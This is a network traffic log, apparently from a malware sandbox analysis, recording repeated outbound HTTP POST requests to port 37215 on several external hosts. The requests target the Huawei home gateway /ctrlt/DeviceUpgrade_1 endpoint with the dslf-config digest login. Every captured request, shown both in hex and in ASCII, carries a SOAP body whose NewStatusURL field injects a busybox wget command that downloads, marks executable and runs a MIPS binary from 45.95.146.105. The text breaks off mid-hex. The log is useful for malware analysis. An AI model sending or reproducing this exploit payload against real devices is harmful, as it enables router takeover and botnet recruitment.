22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:19.713581085 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:49.657284975 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	59340	94.121.21.254	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:04.803549051 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:08.958955050 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:15.102200985 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:27.132566929 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:51.704992056 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:40.850131035 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	47400	41.46.215.224	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:07.430464983 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 